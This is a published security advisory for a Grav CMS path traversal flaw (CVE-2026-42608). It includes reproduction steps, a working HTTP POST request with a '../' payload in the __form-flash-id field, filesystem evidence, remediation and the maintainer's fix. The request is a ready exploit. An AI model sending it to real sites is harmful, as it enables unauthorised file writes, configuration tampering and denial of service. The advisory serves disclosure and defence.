CVE-2026-42608: Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component
Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write [ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection Summary Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component.
Published May 5, 2026 · Updated May 13, 2026
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- < 2.0.0-beta.2
- Fixed in
- 2.0.0-beta.2
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write
[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection
Summary
Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.
This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.
Affected Component
- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).
- Class:
Grav\Framework\Form\FormFlash - Method:
__construct()/getTmpDir() - Parameter:
session_id(Mapped to__form-flash-idin POST requests)
Vulnerability Details
The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:
$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');
$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).
Affected Versions & Zero-Day Status
- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).
- Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.
- Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).
- CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.
Steps to Reproduce
- Identify any page containing a Grav Form (e.g.,
/contact). - Intercept the POST request during form submission.
- Modify the
__form-flash-idparameter to include a traversal sequence targeting a writable directory (e.g.,../../user/config/proof_dir). - Submit the request.
- Observe that a new directory (
poc/) and file (index.yaml) have been created at the traversed path.
Request Example
POST /contact HTTP/1.1
Host: target.grav.cms
Content-Type: application/x-www-form-urlencoded
__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=PayloadResponse / Result
- HTTP/1.1 302 Found (Standard redirect)
- Filesystem Modification:
- Directory Created:
/var/www/html/user/config/proof_dir/poc/ - File Created:
/var/www/html/user/config/proof_dir/poc/index.yaml
Proof of Concept Evidence (Before/After)
Before Exploitation
- Status: Directory does not exist.
- Evidence:
$ ls -la /var/www/html/user/config/proof_dir/
ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directoryAfter Exploitation
- Status: Arbitrary directory and
index.yamlcreated. - Evidence:
$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml
-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml
$ cat /var/www/html/user/config/proof_dir/poc/index.yaml
form: ''
id: ''
unique_id: poc
...
data:
poc_status: confirmedImpact
- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.
- Configuration Injection: Writing
index.yamlinto plugin/theme configuration subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.
- Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).
Attack Requirements
- Authentication: None (Unauthenticated)
- Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)
Exploitability Assessment
- Complexity: Low. Requires only basic HTTP POST parameters.
- Reliability: 100% (Deterministically reproducible in vulnerable versions).
- Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.
Remediation
- Sanitize Session IDs: Apply
basename()or a strict alphanumeric regex to thesession_idin FormFlash before path construction. - Filesystem Hardening: Ensure
user/config/and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. - Update Grav: Monitor for patches addressing FormFlash sanitization.
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit `d904efc33` — will ship in 2.0.0-beta.2.
What changed: FormFlash::__construct() now sanitizes session_id, unique_id, and id through a strict [A-Za-z0-9,_-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a __form-flash-id=../../user/config/proof_dir POST simply does nothing on disk.
Files:
- `system/src/Grav/Framework/Form/FormFlash.php`
- `tests/unit/Grav/Common/Security/FormFlashSecurityTest.php` — 32 test cases covering the PoC + variants.
Credited to sentinal404.
References
- https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2
- https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47
- https://github.com/getgrav/grav/commit/d904efc33e03ebb597afde8d3368b28cf0423632
- https://nvd.nist.gov/vuln/detail/CVE-2026-42608
- https://github.com/advisories/GHSA-hmcx-ch82-3fv2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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